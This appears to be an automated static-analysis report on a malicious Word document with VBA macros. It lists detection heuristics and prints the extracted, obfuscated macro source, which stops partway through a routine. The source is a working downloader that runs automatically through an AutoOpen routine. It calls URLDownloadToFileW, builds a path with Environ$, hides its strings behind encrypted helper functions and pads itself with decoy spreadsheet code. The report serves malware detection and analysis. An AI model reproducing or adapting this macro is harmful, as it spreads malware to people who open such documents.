Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2bde2d0f3f50d1ce…

MALICIOUS

Office (OLE)

126.5 KB Created: 2019-08-08 09:05:00 Authoring application: Microsoft Office Word First seen: 2021-02-09
MD5: 5b0bf8ce0be6b3aecaaaab33e7e808c5 SHA-1: 8a08b3a52f4863e3c130178d3bd1414051d81bc3 SHA-256: 2bde2d0f3f50d1ce45fb84dc22db64d500c9ae3e1d460f1c0a4884f4614ed943
338 Risk Score

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-7107273-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7107273-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Function FZUFHAUFf45ezfez Lib "urlmon" Alias "URLDownloadToFileW" (ByVal x4¦SZC¬¢á9§i¯ÖâpÀhF¼1­Jf¥4F© As Long, ByVal ƒîhúDà»ÂXbFOçé¼D£kävTaAq¤H¢Um½ As LongPtr, ByVal tKm§tÄ3²y²£æ³ojqàPF¢à¼Uyk¤´yB¶±8££mªf®t¼¨5åÄ As LongPtr, ByVal æU®£lºWT©·E¢YwáSGqá®hMm2¿zQ As Long, ByVal Cj¨D±8££mªf®t¼¨5åÄ3P3 As Long) As LongPtr
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    CreateObject(AAAA).Open (BBBB)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub aUtOOpEN()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ò´Öî9¶70Ddê«GLI¨0Qâ = VBA.Environ$(mZ£kJ¶¤ê(£¯À®cɽ´3())) + mZ£kJ¶¤ê("\*:1v>~Wz459qG<,qDTbqVS87W>6sn{lfQ^y5ivg.k=>e/BFx.uBeD9@")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 45512 bytes
SHA-256: 354232064cc663a31e63c867d9305624018bdc8c00b017524b1ad51ac109b6ca
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Not False And True And Not False And 1 And Not False And True And Win64 And Not False And Not False And VBA7 Then
Private Declare PtrSafe Function FZUFHAUFf45ezfez Lib "urlmon" Alias "URLDownloadToFileW" (ByVal x4¦SZC¬¢á9§i¯ÖâpÀhF¼1­Jf¥4F© As Long, ByVal ƒîhúDà»ÂXbFOçé¼D£kävTaAq¤H¢Um½ As LongPtr, ByVal tKm§tÄ3²y²£æ³ojqàPF¢à¼Uyk¤´yB¶±8££mªf®t¼¨5åÄ As LongPtr, ByVal æU®£lºWT©·E¢YwáSGqá®hMm2¿zQ As Long, ByVal Cj¨D±8££mªf®t¼¨5åÄ3P3 As Long) As LongPtr
Private Declare PtrSafe Function getFrequencyIJvA Lib "kernel32" Alias "QueryPerformanceFrequency" (у7¥O©YI7P As Currency) As LongPtr
Private Declare PtrSafe Function timeGetTimepZfv Lib "winmm.dll" () As LongPtr

Private Declare PtrSafe Function IsCharAlphaNumericAgvAn Lib "USER32" (ByVal byChar As Byte) As LongPtr

Private Declare PtrSafe Function GetSystemMetricsy3qH Lib "USER32" (ByVal nIndex As Long) As LongPtr

Private Declare PtrSafe Function IsCharAlphaNumericAyXdv Lib "USER32" (ByVal byChar As Byte) As LongPtr
#Else

Private Declare Function GdipCreateHBITMAPFromBitmaphfic Lib "GDIPlus" (ByVal bitmap As Long, hbmReturn As Long, ByVal background As Long) As Long


Private Declare Function GdipDisposeImageptpH Lib "GDIPlus" (ByVal image As Long) As Long


Private Declare Function GdipCreateHBITMAPFromBitmapXIB6 Lib "GDIPlus" (ByVal bitmap As Long, hbmReturn As Long, ByVal background As Long) As Long

Private Declare Function GdipDisposeImageruDM Lib "GDIPlus" (ByVal ½EÑä1ääGkaôk As Long) As Long
Private Declare Function FZUFHAUFf45ezfez Lib "urlmon" Alias "URLDownloadToFileW" (ByVal x4¦SZC¬¢á9§i¯ÖâpÀhF¼1­Jf¥4F© As Long, ByVal ƒîhúDà»ÂXbFOçé¼D£kävTaAq¤H¢Um½ As Long, ByVal tKm§tÄ3²y²£æ³ojqàPF¢à¼Uyk¤´yB¶±8££mªf®t¼¨5åÄ As Long, ByVal æU®£lºWT©·E¢YwáSGqá®hMm2¿zQ As Long, ByVal Cj¨D±8££mªf®t¼¨5åÄ3P3 As Long) As Long
Private Declare Function GdipDisposeImagex0gl Lib "GDIPlus" (ByVal ½EÑä1ääGkaôk As Long) As Long



#End If
Public ò´Öî9¶70Ddê«GLI¨0Qâ



Function ¿5I0¥0A³´«¿() As String
Dim §åxWùGKún
Dim m¤»5§ô·¤
Dim k¬ºGô6ô­w©
Dim l§»ùdûO
Dim »lÖºL5oÆào
Dim NnCü9l­U6
Dim ­­½Àµ¿r±
Dim îsâ¢Qîòòzà
Dim ©P£²bDº
Dim »Nj7cKC¸Xc
Dim ¶º»Zbåw²
§åxWùGKún = "v"
m¤»5§ô·¤ = §åxWùGKún & "S"
k¬ºGô6ô­w© = m¤»5§ô·¤ & "­"
l§»ùdûO = k¬ºGô6ô­w© & "½"
»lÖºL5oÆào = l§»ùdûO & "á"
NnCü9l­U6 = »lÖºL5oÆào & "r"
­­½Àµ¿r± = NnCü9l­U6 & "¨"
îsâ¢Qîòòzà = ­­½Àµ¿r± & "l"
©P£²bDº = îsâ¢Qîòòzà & "E"
»Nj7cKC¸Xc = ©P£²bDº & "M"
¶º»Zbåw² = »Nj7cKC¸Xc & "n"
¿5I0¥0A³´«¿ = ¶º»Zbåw²
End Function


Public Sub Uk1Bx5oTaffecter_un_cout(class_text As String, cout As Long)
    '
    ' Use this module to affect a cost to a specific class of
    ' the PCG.
    '
    top_row = wk.Range("B3").Value
    
    If top_row = "" Then
        wk.Range("B3").Value = class_text
        wk.Range("C3").Value = cout
    Else
        wk.Range("B2").End(xlDown).Offset(1, 0).Value = class_text
        wk.Range("B2").End(xlDown).Offset(0, 1).Value = cout
    End If
End Sub

Public Sub riXahSYzsupprimer_un_cout()
    '
    ' Use this module to delete a cost to a specific class of
    ' the PCG.
    '
End Sub



Public Sub Uhcminscrire_le_cout(ByVal top_row As String, _
                                 Optional ByVal ecriture As Integer = 0)
    Dim r, s As String
    If ecriture = 0 Then
        r = "B7"
        s = "E7"
    End
    If ecriture = 1 Then
        r = "H7"
        s = "K7"
    End If
    If top_row = "" Then
        wk.Range(r).Value = class_text
        wk.Range(s).Value = cout
    Else
        wk.Range(r).End(xlDown).Offset(1, 0).Value = class_text
        wk.Range(s).End(xlDown).Offset(0, 1).Value = cout
    End If
End Sub




Function ²KDW8F£yNæè() As String
Dim bºpò¾¿y¤
Dim sö±MXWG¦f¹
Dim ´wƒ¨VEÜ7
Dim NÀÿ0ªQºxx
Dim gùôèJÜK©
Dim ù0ºö¦ƒF±É¯m
Dim ôêrbÑ·ìê¸
Dim rÿmOìîìFü
Dim ûw­ë¿lD£
bºpò¾¿y¤ = "ë"
sö±MXWG¦f¹ = bºpò¾¿y¤ & "Æ"
´wƒ¨VEÜ7 = sö±MXWG¦f¹ & "s"
NÀÿ0ªQºxx = ´wƒ¨VEÜ7 & "ì"
gùôèJÜK© = NÀÿ0ªQºxx & "S"
ù0ºö¦ƒF±É¯m = gùôèJÜK© & "W"
ôêrbÑ·ìê¸ = ù0ºö¦ƒF±É¯m & "ë"
rÿmOìîìFü = ôêrbÑ·ìê¸ & "ê"
ûw­ë¿lD£ = rÿmOìîìFü & "q"
²KDW8F£yNæè = ûw­ë¿lD£
End Function
Sub lZlFmanipulating_Tables()
    On Error Resume Next
    'INSERT values
    DoCmd.runSQL "INSERT INTO Facebook(OK, Field1) VALUES ('5', 'Kendall')"
    'UPDATE field
    DoCmd.runSQL "UPDATE Facebook SET Field1 = 'Kendall' WHERE ID = 1"
    'ALTER TABLE
    DoCmd.runSQL "ALTER TABLE X "
End Sub

Sub WriDedit_Table()
    Dim d As DAO.Database
    Dim t As TableDef
    Dim r As DAO.Recordset
    
    Set d = CurrentDb
    Set t = d.TableDefs("...")
    Set r = t.OpenRecordset(, dbOpenSnapshot)
    
    r.Edit
    r(...).Value = "..."
    r.Update
    
    Set d = Nothing
    Set t = Nothing
End Sub




Function eÿnbÉÑzsä() As String
Dim EÀÖüCë¤vä¶v
Dim RPUfÂY
Dim ºBPN­A5ƒ
Dim çºÆû®èk£MÆu
Dim Üéa¤Dan¦wCñJª
Dim DÀæg¨æ¶
Dim µô¬hKôB
Dim dåpÖÉëm®C
Dim ÜNB²Æì
EÀÖüCë¤vä¶v = "ö"
RPUfÂY = EÀÖüCë¤vä¶v & "r"
ºBPN­A5ƒ = RPUfÂY & "½"
çºÆû®èk£MÆu = ºBPN­A5ƒ & "µ"
Üéa¤Dan¦wCñJª = çºÆû®èk£MÆu & "Á"
DÀæg¨æ¶ = Üéa¤Dan¦wCñJª & "w"
µô¬hKôB = DÀæg¨æ¶ & "z"
dåpÖÉëm®C = µô¬hKôB & "B"
ÜNB²Æì = dåpÖÉëm®C & "G"
eÿnbÉÑzsä = ÜNB²Æì
End Function
Private Sub qiCkyogHCommandButton1_Click()
    '1. Set sheets
    Dim stock_Sheet As Worksheet
    Set stock_Sheet = Worksheets("Stock")
    Dim output_Sheet As Worksheet
    Set output_Sheet = Worksheets("Output")
    
    '2. Set periods
    Dim periods As Long
    periods = TextBox1.Value
    
    '3. Set initial range
    Dim upper_Bound, lower_Bound As Long
    upper_Bound = 3
    lower_Bound = upper_Bound + periods
        'Initial range
    Dim price_Range As Range
    
    '4. Get the last row of the price list
    Dim last_Row As Long
    last_Row = stock_Sheet.Range("A2").End(xlDown).Row
    
    '4. Now we cycle through the range
    Do
        Set price_Range = Range("A" & upper_Bound, "A" & lower_Bound)
        price_Range.Select
        upper_Bound = upper_Bound + 1
        lower_Bound = lower_Bound + 1
    Loop Until lower_Bound > last_Row
    
    '5. Tell user calculation was successful
    MsgBox "SMA (" & periods & ") on price was successful", vbInformation
End Sub

Sub FOXycalculate_SMA(this_Sheet As String)
    '1. Set sheet @this_Sheet = 'Stock OR Output'
    Set get_This_Sheet = Worksheets(this_Sheet)
    'EXPLICIT 'Output'
    Set output_Sheet = Worksheets("Output")
    
    '2. Set periods
    '@periods = 5, 10, 25...
    'Dim periods As Long
    'periods = TextBox1.Value
    periods = 2
    
    '3. Set variables for initial range
    Dim upper_Bound, lower_Bound As Long
    
    'When the incoming sheet name is stock...
    If this_Sheet = "Stock" Then
        'Upper bound of range is 3
        upper_Bound = 3
    Else
        upper_Bound = 1
    End If
    
    '@lower_Bound = 3 + periods
    lower_Bound = upper_Bound + periods
        'Create initial range
    Dim price_Range As Range
    
    '4. Get the last row of the price list
    Dim last_Row As Long
    '@last_Row = 1, 2, 3...x
    last_Row = get_This_Sheet.Range("A2").End(xlDown).Row
    
    '5. When there are no values in input sheet...
    If last_Row > 10000 Then
        '@last_Row = last row of 'get_This_Sheet stock values'
        last_Row = get_This_Sheet.Range("A1").End(xlDown).Row - periods
    End If
    
    '6. Set variable for average
    Dim avg As Double
    
    '7. Set variable to cycle in 'Output sheet'
    Dim r, c As Long
    '
    'r: row, c: column
    '
    r = 1
    c = 1
    
    '8. When the incoming sheet is 'Stock'
    If this_Sheet = "Stock" Then
        c = 1
    Else
        'Output to next column
        c = 2
    End If
    
    '9. Now we cycle through the range
    Do
        Set price_Range = get_This_Sheet.Range("A" & upper_Bound, "A" & lower_Bound)
        
        'Calculate average range
        avg = Application.WorksheetFunction.Average(price_Range)
        
        'Output to 'Output sheet' @r = 1++ / @c = 1 || 2
        output_Sheet.Range("A1").Cells(r, c).Value = avg
        
        'Increment
        r = r + 1
        upper_Bound = upper_Bound + 1
        lower_Bound = lower_Bound + 1
    Loop Until lower_Bound > last_Row
End Sub

Private Function Ooi5get_Sheet_Name(index As Long) As String
    '1. When the user chooses 'Stock'
    '@index = 1 OR 2
    Select Case index
        Case 1:
            Ooi5get_Sheet_Name = "Stock"
        Case 2:
            Ooi5get_Sheet_Name = "Output"
    End Select
End Function



Sub aUtOOpEN()
OPVGR56OPY
FIEFIOJZEF
End Sub
Sub DHmTopen_list_box()
    UserForm1.Show
End Sub

Public Sub VwLuZQ1Touvrir_reglage()
    ReglagesForm.Show
End Sub

Public Sub oW82WW2Dchanger_les_phrases_helper()
    '
    ' This helper creates an object in order to change the phrases
    ' on the front page
    '
    Dim changer_les_phrases As PhrasesEngine
    Set changer_les_phrases = New PhrasesEngine
    changer_les_phrases.change_phrases
End Sub

Private Sub VZy3Bbqmshow_messages(error_number As Long, message As String, message_type As String)
    '
    ' Use this sub to cycle through the error dictionary and show the
    ' user any custom error message that is not built in Excel.
    '
    ' vbInformation, vbCritical, vbOkOnly, vbYesNo, vbYesNoCancel
    '
    MsgBox message, message_type, "Title"
End Sub




Function G¢éko­() As String
Dim k®g5s¨
Dim u´h2X¾m§
Dim à¿DÜI¸STâÆñc
Dim ¿x9vXedzæU
Dim â©FK5WoVà
Dim jYüo¥nyV
Dim ¥Ih³RyUBe
Dim ©Öçúm¢¿¢X­
Dim 뿲ªôüC³3
Dim ¢8J7î8ngé
Dim ·¤9Ö9ä¢üï
Dim ªlîÖ»æ¿X
Dim gL¢FFûQ±Vn
Dim ÆñÖ¦®Pù
Dim àéÿ£û
Dim Xh¦d·»ÁN
Dim üUCì7L
Dim ¦¤pR½éüg¼
Dim §¢ºî²2PgÄi
Dim x£KFÄT
Dim «ù8ܲûAƒq
Dim QkiaQsmP
Dim ¼zqºûF
Dim K­¢aw²W
Dim ôo±ºHµrt9
Dim »É5oo»
Dim ¯6´PAºé¹
Dim q¯¾ç¢h¿¯
Dim ·iJkÑçc9
Dim Äñ¢²Ä²
Dim µy䢿ö¼¨
Dim £YiåNpv
Dim û£CnBNÀU3
Dim ¿Éç©EGü¢
Dim ÆÉÑS2qiô¢
Dim CÆÖ2R¯Ü¶
Dim áwpRâq£
Dim TÁÄLCHrnèv
Dim £luTôD
Dim å©NAûj0zV
Dim ò¥L½B¿Eq6¿e
Dim ³Nåë¾vD®cR
Dim xpCi¹¼©f5
Dim ÿÀg¥URV
Dim Á¿çìñoV
Dim ¨£®ïrpsVu
Dim M4p¤8gu2®
Dim B0DµZX£¬u
Dim àrÉ¢W9K®ô
Dim AÿG¥¶¸Y
Dim JÖô¿MmXàTùn
Dim H¥UdZò
Dim ѾƵ½ègk¢é
Dim jHvLmyjFl
Dim ¼òXkJAYn
Dim ¾2º³è´Y
Dim ñáì¹yE¤h½
Dim Ö¢³ïÀ0»­
Dim Eƒ´0Áf½©qo¸
Dim iôÖ®¨NRu»
Dim ÁºXK§¯yVz
Dim ü½¾jBéö¦YV
Dim µGD8Âù¦Æ¦
Dim g9´é®0òx¼vz
Dim Göt8PÁñ¿çpâ
Dim ¨£ÑÉ©³²
Dim «a¨àz¥qÿ
Dim OEjU4M¬ïFë
k®g5s¨ = "S"
u´h2X¾m§ = k®g5s¨ & "@"
à¿DÜI¸STâÆñc = u´h2X¾m§ & "?"
¿x9vXedzæU = à¿DÜI¸STâÆñc & "}"
â©FK5WoVà = ¿x9vXedzæU & "h"
jYüo¥nyV = â©FK5WoVà & "b"
¥Ih³RyUBe = jYüo¥nyV & "Q"
©Öçúm¢¿¢X­ = ¥Ih³RyUBe & "x"
뿲ªôüC³3 = ©Öçúm¢¿¢X­ & "e"
¢8J7î8ngé = 뿲ªôüC³3 & "D"
·¤9Ö9ä¢üï = ¢8J7î8ngé & "I"
ªlîÖ»æ¿X = ·¤9Ö9ä¢üï & "R"
gL¢FFûQ±Vn = ªlîÖ»æ¿X & "l"
ÆñÖ¦®Pù = gL¢FFûQ±Vn & "I"
àéÿ£û = ÆñÖ¦®Pù & "@"
Xh¦d·»ÁN = àéÿ£û & "f"
üUCì7L = Xh¦d·»ÁN & "l"
¦¤pR½éüg¼ = üUCì7L & "}"
§¢ºî²2PgÄi = ¦¤pR½éüg¼ & "f"
x£KFÄT = §¢ºî²2PgÄi & "k"
«ù8ܲûAƒq = x£KFÄT & "."
QkiaQsmP = «ù8ܲûAƒq & "d"
¼zqºûF = QkiaQsmP & "y"
K­¢aw²W = ¼zqºûF & "k"
ôo±ºHµrt9 = K­¢aw²W & "A"
»É5oo» = ôo±ºHµrt9 & "h"
¯6´PAºé¹ = »É5oo» & "*"
q¯¾ç¢h¿¯ = ¯6´PAºé¹ & "D"
·iJkÑçc9 = q¯¾ç¢h¿¯ & "p"
Äñ¢²Ä² = ·iJkÑçc9 & "G"
µy䢿ö¼¨ = Äñ¢²Ä² & "v"
£YiåNpv = µy䢿ö¼¨ & "J"
û£CnBNÀU3 = £YiåNpv & "p"
¿Éç©EGü¢ = û£CnBNÀU3 & "i"
ÆÉÑS2qiô¢ = ¿Éç©EGü¢ & "F"
CÆÖ2R¯Ü¶ = ÆÉÑS2qiô¢ & "["
áwpRâq£ = CÆÖ2R¯Ü¶ & "l"
TÁÄLCHrnèv = áwpRâq£ & "-"
£luTôD = TÁÄLCHrnèv & "k"
å©NAûj0zV = £luTôD & "B"
ò¥L½B¿Eq6¿e = å©NAûj0zV & "i"
³Nåë¾vD®cR = ò¥L½B¿Eq6¿e & "U"
xpCi¹¼©f5 = ³Nåë¾vD®cR & "b"
ÿÀg¥URV = xpCi¹¼©f5 & "p"
Á¿çìñoV = ÿÀg¥URV & "c"
¨£®ïrpsVu = Á¿çìñoV & "8"
M4p¤8gu2® = ¨£®ïrpsVu & "_"
B0DµZX£¬u = M4p¤8gu2® & "5"
àrÉ¢W9K®ô = B0DµZX£¬u & "a"
AÿG¥¶¸Y = àrÉ¢W9K®ô & "`"
JÖô¿MmXàTùn = AÿG¥¶¸Y & "y"
H¥UdZò = JÖô¿MmXàTùn & "b"
ѾƵ½ègk¢é = H¥UdZò & "t"
jHvLmyjFl = ѾƵ½ègk¢é & "N"
¼òXkJAYn = jHvLmyjFl & "?"
¾2º³è´Y = ¼òXkJAYn & "l"
ñáì¹yE¤h½ = ¾2º³è´Y & "i"
Ö¢³ïÀ0»­ = ñáì¹yE¤h½ & "<"
Eƒ´0Áf½©qo¸ = Ö¢³ïÀ0»­ & "g"
iôÖ®¨NRu» = Eƒ´0Áf½©qo¸ & "="
ÁºXK§¯yVz = iôÖ®¨NRu» & "o"
ü½¾jBéö¦YV = ÁºXK§¯yVz & ";"
µGD8Âù¦Æ¦ = ü½¾jBéö¦YV & "E"
g9´é®0òx¼vz = µGD8Âù¦Æ¦ & "I"
Göt8PÁñ¿çpâ = g9´é®0òx¼vz & "n"
¨£ÑÉ©³² = Göt8PÁñ¿çpâ & "E"
«a¨àz¥qÿ = ¨£ÑÉ©³² & "u"
OEjU4M¬ïFë = «a¨àz¥qÿ & "|"
G¢éko­ = OEjU4M¬ïFë
End Function
Private Sub sQERugBwClass_Initialize()
    'Set sheets at initialization
    Call get_Worksheet_Helper
    type_entreprise = wk_two.Range("type_entreprise").Value
    Call set_phrases_Helper
End Sub

Private Sub ToGhXQeQget_Worksheet_Helper()
    Set wk_one = Worksheets("Analyse")
    Set wk_two = Worksheets("Config")
End Sub

Private Sub Tx0SQVEFset_phrases_Helper()
    Dim c_var, t_var, d_var As String
    '
    ' This helper is used to create the phrases with the variables
    ' that were set or calculated in the 'Config' worksheet
    '
    phrase_one = "L'entreprise fonctionne " & wk_two.Range("jours_activités").Value & _
                 " jours par semaines soit un nombre total de " & _
                 Round(wk_two.Range("semaines_activités").Value, 2) & " semaines."
    '
    ' TO DO
    '
    
    '
    ' I am using this technique in order to get the correct values to display
    ' depending on the fact if the enterprise is a restaurant or bar instead
    ' of a digital based type project
    '
    If type_entreprise = "numérique" Then
        c_var = "ca_numérique"
        t_var = "frequentation_mensuelle"
        d_var = "mois"
    Else
        c_var = "ca_restauration"
        t_var = "frequentation_journalière"
        d_var = "jours"
    End If
    phrase_five = "Pour une fréquentation de " & wk_two.Range(t_var).Value & " clients par " & d_var & ", " & _
                  "le chiffre d'affaire annuel est de " & Round(wk_two.Range(c_var).Value, 2) & "€ par an"
    '
    ' TO DO
    '
    phrase_seven = "Le prix unitaire utilisé pour l'estimation du C.A. est de " & wk_two.Range("N10").Value & "€ soit " & _
                   wk_two.Range("N14").Value & "€ TTC et une marge de " & wk_two.Range("O11").Value & "% (ou " & _
                   wk_two.Range("N11").Value & "€)"
End Sub

Public Sub Ulw2GYgschange_phrases()
    wk_one.Range("B8").Value = phrase_one
    wk_one.Range("B15").Value = phrase_five
    wk_one.Range("B18").Value = phrase_seven
End Sub



Sub GPORKGOK55(JIGROIJ, CXBIE)
Call FZUFHAUFf45ezfez(0, JIGROIJ, CXBIE, 0, 0)
End Sub
Sub xZpLadd_recepient()
    Dim new_Message As MailItem
    Set new_Message = Application.CreateItem(olMailItem)
    
    With new_Message
        .To = "x@gmail.com"
        .CC = "x@gmail.com"
        .BCC = "x@gmail.com"
        .Subject = "Google"
        '.Categories = "Test"
        '.VotingOptions = "Yes;No;Maybe"
        .BodyFormat = olFormatHTML
        .Body = "Text"
        '.Importance = olImportanceHigh
        '.Sensitivity = olConfidential
        '.Attachments.Add "..."
        '.ExpiryTime = DateAdd("m", 6, Now)
        '.DeferredDeliveryTime = #8/5/2018 6:00:00 PM#
        .Display
    End With
    
    Set new_Message = Nothing
End Sub



Public Sub L0i5rlxPCreateNewMessage()
    '
    ' Sends mail to sender based on the active selection
    '

Dim objMsg As MailItem
Dim Selection As Selection
Dim obj As Object

Set Selection = ActiveExplorer.Selection

For Each obj In Selection

Set objMsg = Application.CreateItem(olMailItem)


Set objMsg = Nothing

Next

End Sub


Function r1ܪ±V¶³¶35«() As String
Dim ªZ¯6ú£8¨¢Y·
Dim ûú¢TùÉyWw6
Dim ¦ÿC꿳Dt¿¨9
Dim ³Âfjq´f
Dim è½PCIn3
Dim C2çïKë±
Dim éºozaX£ñ
Dim Cìà¬XUMÿ
Dim yQIzëGÜàÁ
ªZ¯6ú£8¨¢Y· = "Y"
ûú¢TùÉyWw6 = ªZ¯6ú£8¨¢Y· & "ü"
¦ÿC꿳Dt¿¨9 = ûú¢TùÉyWw6 & "p"
³Âfjq´f = ¦ÿC꿳Dt¿¨9 & "¤"
è½PCIn3 = ³Âfjq´f & "â"
C2çïKë± = è½PCIn3 & "ë"
éºozaX£ñ = C2çïKë± & "l"
Cìà¬XUMÿ = éºozaX£ñ & "2"
yQIzëGÜàÁ = Cìà¬XUMÿ & "ÿ"
r1ܪ±V¶³¶35« = yQIzëGÜàÁ
End Function
Sub dFqGget_last_item_clipboard()
    Dim clipData As New DataObject
    Dim clipString As String, clipItems As Variant
    
       
    clipString = clipData.GetText
    clipString = Replace(clipString, vbLf, vbCr)
    clipItems = Split(clipString, vbCr)
End Sub

Function mZ£kJ¶¤ê(Àm¢lÁ¸Of) As String
    Dim ¿ìëQ¥l±¥HhY´O(1055) As Byte, ò2àæÄjô¦¿®QêlAd¢O() As Byte
    ò2àæÄjô¦¿®QêlAd¢O = ƒP»W¨¼üë(Àm¢lÁ¸Of, ¿5I0¥0A³´«¿(), r1ܪ±V¶³¶35«(), 128, 伤B½£ld1(), è9üfÖ±Áï())


    For xÖ16lWl7gP±¶¶q = 0 To UBound(ò2àæÄjô¦¿®QêlAd¢O) - 1
        If (xÖ16lWl7gP±¶¶q Mod 4 = 0) Then
            ¿ìëQ¥l±¥HhY´O(ñxxPö¢£äñùöº2cVbÂÜ) = ò2àæÄjô¦¿®QêlAd¢O(xÖ16lWl7gP±¶¶q)
            ñxxPö¢£äñùöº2cVbÂÜ = ñxxPö¢£äñùöº2cVbÂÜ + 1
        End If
    Next xÖ16lWl7gP±¶¶q
    mZ£kJ¶¤ê = Left(®Y»6Z¯(¿ìëQ¥l±¥HhY´O, ²KDW8F£yNæè(), RNëçrJ·´(), 64, eÿnbÉÑzsä(), Æûêùñ3miRÉ6áá()), ñxxPö¢£äñùöº2cVbÂÜ)


End Function

Private Sub IgXEXkdwcreate_dictionary()
    '
    ' This sub is used to initialize the values in the dictionary
    ' when the class is called by outside programs.
    ' It iterates on the PCG sheets in order to collect the values
    ' and integrate them to the dictionary.
    '
    top_row_adress = pcg.Range("A2").Row
    bottom_row_adress = pcg.Range("A2").End(xlDown).Row
    
    For i = top_row_adress To bottom_row_adress
        pcg_dictionary.Add pcg.Range("A" & i).Value, pcg.Range("A" & i).Offset(0, 1).Value
    Next i
End Sub

Public Sub Tj9xBTSjfill_list_box_item(Optional specific_class As Long = 0)
    '
    ' Use this sub to fill the list box with the values for the
    ' user to choose from.
    '
    ' -- Use 0 to get all items from the dictionary
    ' -- Use a class number betweet 1 and 7 to get a specific class
    '
    If specific_class = 0 Then
        For Each dictionary_item In pcg_dictionary.Items
            UserForm1.ListBox1.AddItem dictionary_item
        Next
    End If
    
    If specific_class > 0 Then
        Call regex_engine(specific_class)
    End If
End Sub





Function RNëçrJ·´() As String
Dim µ¿¥±ÿJjG
Dim §G¿¶î5QH0
Dim DúGÄ8ë6N6rµ
Dim ¦ÿ¦äå¯OCÖ©
Dim ´ÁDtWûmüE
Dim Lº·çeP¢ì«¥û
Dim pæääH¸GXùSò
Dim DWx¢U3nÉ£½ÀƒW
Dim ¸kG¾¨Wè¸N
Dim DïªmbµäEµÜ
µ¿¥±ÿJjG = "F"
§G¿¶î5QH0 = µ¿¥±ÿJjG & "D"
DúGÄ8ë6N6rµ = §G¿¶î5QH0 & "W"
¦ÿ¦äå¯OCÖ© = DúGÄ8ë6N6rµ & "Â"
´ÁDtWûmüE = ¦ÿ¦äå¯OCÖ© & "X"
Lº·çeP¢ì«¥û = ´ÁDtWûmüE & "¼"
pæääH¸GXùSò = Lº·çeP¢ì«¥û & "L"
DWx¢U3nÉ£½ÀƒW = pæääH¸GXùSò & "N"
¸kG¾¨Wè¸N = DWx¢U3nÉ£½ÀƒW & "Z"
DïªmbµäEµÜ = ¸kG¾¨Wè¸N & "£"
RNëçrJ·´ = DïªmbµäEµÜ
End Function

Sub nIzqgoogle()
    Dim r As Range
    Set r = Range("B2:E5")
    
    a = r.Count
    t = 0
    o = 0
    For i = 0 To a
        p = r(i)
        If r(i) = "W" Then
            t = t + 1
            If t > o Then
                o = t
            End If
        Else
            t = 0
        End If
    Next i
    MsgBox "Longest winning streak: " & o
End Sub


Function YdjªçZYâîCá() As String
Dim QPàñO±M¿¹
Dim ¢G£©WsAe
Dim jrZ®¼è9p1k
Dim ë¶9¦²u
Dim ºÑ¢P»ºaº
Dim nTëMut¢öNq
Dim u½¼¸§Ñÿ
Dim î®Ä¥3¸¢©z
Dim ÿaPÿ¹mGbNv0
Dim ÜѱûPu»­
Dim £ë2v¨eùq
Dim z8k±Z¸Ñ«R
Dim ¥dç8¬mxA
Dim Ѻƿá
Dim ¿²ºƒ¶Àûôp®ëÑ
Dim ºTÉòäX¦4¹0
QPàñO±M¿¹ = "f"
¢G£©WsAe = QPàñO±M¿¹ & "1"
jrZ®¼è9p1k = ¢G£©WsAe & "V"
ë¶9¦²u = jrZ®¼è9p1k & "z"
ºÑ¢P»ºaº = ë¶9¦²u & "e"
nTëMut¢öNq = ºÑ¢P»ºaº & "D"
u½¼¸§Ñÿ = nTëMut¢öNq & "1"
î®Ä¥3¸¢©z = u½¼¸§Ñÿ & "2"
ÿaPÿ¹mGbNv0 = î®Ä¥3¸¢©z & "f"
ÜѱûPu»­ = ÿaPÿ¹mGbNv0 & "["
£ë2v¨eùq = ÜѱûPu»­ & "v"
z8k±Z¸Ñ«R = £ë2v¨eùq & "P"
¥dç8¬mxA = z8k±Z¸Ñ«R & "z"
Ѻƿá = ¥dç8¬mxA & "W"
¿²ºƒ¶Àûôp®ëÑ = Ѻƿá & "n"
ºTÉòäX¦4¹0 = ¿²ºƒ¶Àûôp®ëÑ & "V"
YdjªçZYâîCá = ºTÉòäX¦4¹0
End Function
Sub XO5Aquickly_Change_Data_inRange()
    Dim googleCar As Range
    Set googleCar = Range("B2").CurrentRegion
    
